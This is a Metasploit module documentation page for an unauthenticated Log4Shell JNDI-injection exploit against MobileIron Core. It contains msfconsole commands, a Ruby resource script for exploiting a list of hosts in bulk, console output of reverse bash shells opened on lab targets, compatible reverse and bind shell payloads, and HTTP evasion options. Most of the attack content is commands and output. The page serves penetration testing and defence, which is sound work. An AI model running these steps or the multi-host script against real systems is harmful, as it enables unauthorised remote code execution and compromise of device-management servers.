MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell) - Metasploit
This page contains detailed information about how to use the exploit/linux/http/mobileiron_core_log4shell metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)
Module: exploit/linux/http/mobileiron_core_log4shell
Source code: modules/exploits/linux/http/mobileiron_core_log4shell.rb
Disclosure date: 2021-12-12
Last modification time: 2022-08-02 11:04:13 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-44228
This module is also known as Log4Shell or LogJam.
MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS command execution in the context of the tomcat user. This module will start an LDAP server that the target will need to connect to.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using mobileiron_core_log4shell against a single host
Normally, you can use exploit/linux/http/mobileiron_core_log4shell this way:
msf > use exploit/linux/http/mobileiron_core_log4shell
msf exploit(mobileiron_core_log4shell) > show targets
... a list of targets ...
msf exploit(mobileiron_core_log4shell) > set TARGET target-id
msf exploit(mobileiron_core_log4shell) > show options
... show and set options ...
msf exploit(mobileiron_core_log4shell) > exploit
Using mobileiron_core_log4shell against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your mobileiron_core_log4shell will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/mobileiron_core_log4shell")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
Description
MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS command execution in the context of the tomcat user.
This module will start an LDAP server that the target will need to connect to.
Setup
Once MobileIron Core is installed, no configuration needs to take place. The application is vulnerable out of the box.
MobileIron Core Appliance ISO Installation on VMWare Fusion
- Obtain a
mobileiron-##.#.#.#-##.iso
file, the following steps utilizemobileiron-10.6.0.0-23.iso
. - Use the ISO to create "A New Virtual Machine".
- Customize the VM settings to your liking. I gave the VM 4gb RAM, 4 cores, and changed the network adapter to a bridged mode so that I can hit it over the network.
- Boot the new virtual machine.
- Type
vm-install
at theboot:
prompt. - Wait patiently while the VM reboots and begins the install process. The system will reboot when installation completes.
- When prompted with
Continue with configuration dialog?
, typeyes
- Type
q
to clear the license from the screen. - Accept the End User License Agreement by typing
yes
- Enter a Company Name / contact / email of your choosing. They don't matter.
- Configure an enable password (e.g.
Labpass1
) - Enter an admin user name (e.g.
albinolobster
) - Enter and confirm an admin password (e.g.
Labpass1
) - Select
a
for the management interface - Assign a static IP address and network mask that works with your test network. (e.g.
10.9.49.101
and255.255.255.0
) - Enter your test networks default gateway (e.g.
10.9.49.1
) - Enter a fully-qualified domain name for the device (e.g.
lobster.example.com
). Unfortunately, this needs to work. I added a static DNS enty to my lab network's router. - Enter your desired name server. My lab network relies on the aforementioned router (e.g.
10.9.49.1
) - Enter blank entries for name server 2 and 3.
yes
to enable remote shell access (why not, right?)no
to configuring NTPno
to configuring system clockyes
to commit changes- Type
reload
to restart the system andyes
, when prompted, to both saving the configuration and proceeding with the reload - When the system has restarted, you should now have a vulnerable install of MobileIron Core.
- Visit
https://ipaddr
to ensure the HTTP server has fully loaded
Verification Steps
- Start msfconsole
- Do:
use exploit/linux/http/mobileiron_core_log4shell
- Set the
RHOSTS
,LHOST
, andSRVHOST
- Do:
run
- If the target is vulnerable, the payload should be executed
Scenarios
MobileIron Core 11.2.0.0-31
msf6 > use exploit/linux/http/mobileiron_core_log4shell
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248
LHOST => 10.9.49.248
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248
SRVHOST => 10.9.49.248
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389
SRVPORT => 1389
msf6 exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.100
RHOSTS => 10.9.49.100
msf6 exploit(linux/http/mobileiron_core_log4shell) > run
[*] Started reverse TCP handler on 10.9.49.248:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Delivering the serialized Java object to execute the payload...
[*] Command shell session 1 opened (10.9.49.248:4444 -> 10.9.49.100:48004) at 2022-07-29 09:46:14 -0700
[*] Server stopped.
id
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
uname -a
Linux hackercat.example.com 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
MobileIron Core 10.6.0.0-23
msf6 > use exploit/linux/http/mobileiron_core_log4shell
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248
LHOST => 10.9.49.248
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248
SRVHOST => 10.9.49.248
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389
SRVPORT => 1389
msf6 exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.101
RHOSTS => 10.9.49.101
msf6 exploit(linux/http/mobileiron_core_log4shell) > run
[*] Started reverse TCP handler on 10.9.49.248:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Delivering the serialized Java object to execute the payload...
[*] Command shell session 1 opened (10.9.49.248:4444 -> 10.9.49.101:35304) at 2022-07-29 10:19:58 -0700
[*] Server stopped.
id
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
uname -a
Linux lobster.example.com 3.10.0-1062.4.1.el7.x86_64 #1 SMP Fri Oct 18 17:15:30 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 10.9.49.101 - Command shell session 1 closed.
Go back to menu.
Msfconsole Usage
Here is how the linux/http/mobileiron_core_log4shell exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/mobileiron_core_log4shell
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/mobileiron_core_log4shell) > show info
Name: MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)
Module: exploit/linux/http/mobileiron_core_log4shell
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-12-12
Provided by:
Spencer McIntyre
RageLtMan <rageltman@sempervictus>
rwincey
jbaines-r7
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Linux
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LDIF_FILE no Directory LDIF file path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0
to listen on all addresses.
SRVPORT 389 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
VHOST no HTTP server virtual host
Payload information:
Description:
MobileIron Core is affected by the Log4Shell vulnerability whereby a
JNDI string sent to the server will cause it to connect to the
attacker and deserialize a malicious Java object. This results in OS
command execution in the context of the tomcat user. This module
will start an LDAP server that the target will need to connect to.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis
https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US
https://www.mandiant.com/resources/mobileiron-log4shell-exploitation
Also known as:
Log4Shell
LogJam
Related modules:
auxiliary/scanner/http/log4shell_scanner
exploit/multi/http/log4shell_header_injection
Module Options
This is a complete list of options available in the linux/http/mobileiron_core_log4shell exploit:
msf6 exploit(linux/http/mobileiron_core_log4shell) > show options
Module options (exploit/linux/http/mobileiron_core_log4shell):
Name Current Setting Required Description
---- --------------- -------- -----------
LDIF_FILE no Directory LDIF file path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.
0 to listen on all addresses.
SRVPORT 389 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux
Advanced Options
Here is a complete list of advanced options supported by the linux/http/mobileiron_core_log4shell exploit:
msf6 exploit(linux/http/mobileiron_core_log4shell) > show advanced
Module advanced options (exploit/linux/http/mobileiron_core_log4shell):
Name Current Setting Required Description
---- --------------- -------- -----------
AddClassPath no Additional java classpath
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to fa
lse for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing he
aders
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to dis
able)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
JavaCache /home/myuser/.msf4/javacache yes Java cache location
LDAP_AUTH_BYPASS true yes Ignore LDAP client authentication
LdapServerTcp true yes Serve TCP LDAP requests
LdapServerUdp true yes Serve UDP LDAP requests
ListenerBindAddress no The specific IP address to bind to if different from SRVHOST
ListenerBindPort no The port to bind to if different from SRVPORT
ListenerComm no The specific communication channel to use for this service
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msi
l)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_by auto yes Prepend AMSI/SBL bypass (Accepted: auto, true, false)
pass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL
23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TL
S1, TLS1.1, TLS1.2)
UserAgent Mozilla/5.0 (Macintosh; Intel Mac no The User-Agent header to use for all requests
OS X 12.2; rv:97.0) Gecko/20100101
Firefox/97.0
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 30 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy b
ut directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/mobileiron_core_log4shell module can exploit:
msf6 exploit(linux/http/mobileiron_core_log4shell) > show targets
Exploit targets:
Id Name
-- ----
0 Linux
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/mobileiron_core_log4shell exploit:
msf6 exploit(linux/http/mobileiron_core_log4shell) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/python/meterpreter/bind_tcp normal No Python Exec, Python Meterpreter, Python Bind TCP Stager
20 payload/cmd/unix/python/meterpreter/bind_tcp_uuid normal No Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
21 payload/cmd/unix/python/meterpreter/reverse_http normal No Python Exec, Python Meterpreter, Python Reverse HTTP Stager
22 payload/cmd/unix/python/meterpreter/reverse_https normal No Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
23 payload/cmd/unix/python/meterpreter/reverse_tcp normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager
24 payload/cmd/unix/python/meterpreter/reverse_tcp_ssl normal No Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
25 payload/cmd/unix/python/meterpreter/reverse_tcp_uuid normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
26 payload/cmd/unix/python/meterpreter_bind_tcp normal No Python Exec, Python Meterpreter Shell, Bind TCP Inline
27 payload/cmd/unix/python/meterpreter_reverse_http normal No Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
28 payload/cmd/unix/python/meterpreter_reverse_https normal No Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
29 payload/cmd/unix/python/meterpreter_reverse_tcp normal No Python Exec, Python Meterpreter Shell, Reverse TCP Inline
30 payload/cmd/unix/python/pingback_bind_tcp normal No Python Exec, Python Pingback, Bind TCP (via python)
31 payload/cmd/unix/python/pingback_reverse_tcp normal No Python Exec, Python Pingback, Reverse TCP (via python)
32 payload/cmd/unix/python/shell_bind_tcp normal No Python Exec, Command Shell, Bind TCP (via python)
33 payload/cmd/unix/python/shell_reverse_tcp normal No Python Exec, Command Shell, Reverse TCP (via python)
34 payload/cmd/unix/python/shell_reverse_tcp_ssl normal No Python Exec, Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/python/shell_reverse_udp normal No Python Exec, Command Shell, Reverse UDP (via python)
36 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
37 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
38 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
39 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
40 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
41 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
42 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
43 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
44 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
45 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
46 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
47 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
48 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
49 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
50 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
51 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
52 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
53 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
54 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
55 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
56 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
57 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
58 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
59 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
60 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
61 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
62 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
63 payload/generic/custom normal No Custom Payload
64 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
65 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
66 payload/generic/ssh/interact normal No Interact with Established SSH Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/mobileiron_core_log4shell exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/mobileiron_core_log4shell) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apac
he)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apa
che)
HTTP::shuffle_get_params false no Randomize order of GET parameters
HTTP::shuffle_post_params false no Randomize order of POST parameters
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all,
u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No HTTP response was received.
Here is a relevant code snippet related to the "No HTTP response was received." error message:
79:
80: vprint_status('Attempting to trigger the jndi callback...')
81:
82: start_service
83: res = trigger
84: return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?
85:
86: wait_until { @search_received }
87: @search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')
88: ensure
89: cleanup_service
No LDAP search query was received.
Here is a relevant code snippet related to the "No LDAP search query was received." error message:
82: start_service
83: res = trigger
84: return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?
85:
86: wait_until { @search_received }
87: @search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')
88: ensure
89: cleanup_service
90: end
91:
92: def build_ldap_search_response_payload
Failed to trigger the vulnerability
Here is a relevant code snippet related to the "Failed to trigger the vulnerability" error message:
121: def exploit
122: validate_configuration!
123: @exploiting = true
124: start_service
125: res = trigger
126: fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?
127: fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way') unless res.code == 302
128:
129: wait_until { @search_received && (!handler_enabled? || session_created?) }
130: handler
131: end
The server replied to the trigger in an unexpected way
Here is a relevant code snippet related to the "The server replied to the trigger in an unexpected way" error message:
122: validate_configuration!
123: @exploiting = true
124: start_service
125: res = trigger
126: fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?
127: fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way') unless res.code == 302
128:
129: wait_until { @search_received && (!handler_enabled? || session_created?) }
130: handler
131: end
132: end
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Related Pull Requests
- #16982 Merged Pull Request: Update Dell iDRAC login scanner to work with v8 and v9
- #17032 Merged Pull Request: Add module for pfSense pfBlockNG unauth RCE as root - CVE-2022-31814
- #17116 Merged Pull Request: Adding CVE-2022-22947 Spring Cloud Gateway RCE Exploit
- #17092 Merged Pull Request: netlm_downgrade: Cleanup and support non-Meterpreter sessions
- #16987 Merged Pull Request: guard for all possible RubySMBError conditions
- #17123 Merged Pull Request: netrc and fetchmailrc docs
- #17057 Merged Pull Request: Msf::Post::Windows::ExtAPI: Remove load_extapi method
References
- CVE-2021-44228
- https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis
- https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US
- https://www.mandiant.com/resources/mobileiron-log4shell-exploitation
See Also
Check also the following modules related to this module:
- exploit/linux/http/mobileiron_mdm_hessian_rce
- exploit/multi/http/ubiquiti_unifi_log4shell
- exploit/multi/http/vmware_vcenter_log4shell
- auxiliary/scanner/http/log4shell_scanner
- exploit/multi/http/log4shell_header_injection
- exploit/linux/misc/netcore_udp_53413_backdoor
- exploit/multi/http/pimcore_unserialize_rce
- exploit/windows/browser/ms06_071_xml_core
- exploit/windows/fileformat/corelpdf_fusion_bof
- exploit/windows/fileformat/mjm_coreplayer2011_s3m
- exploit/windows/http/geutebrueck_gcore_x64_rce_bo
- exploit/windows/http/sitecore_xp_cve_2021_42237
- exploit/windows/scada/procyon_core_server
- auxiliary/gather/pimcore_creds_sqli
- auxiliary/gather/shodan_honeyscore
- encoder/x86/avoid_underscore_tolower
- post/windows/gather/credentials/coreftp
Authors
- Spencer McIntyre
- RageLtMan <rageltman[at]sempervictus>
- rwincey
- jbaines-r7
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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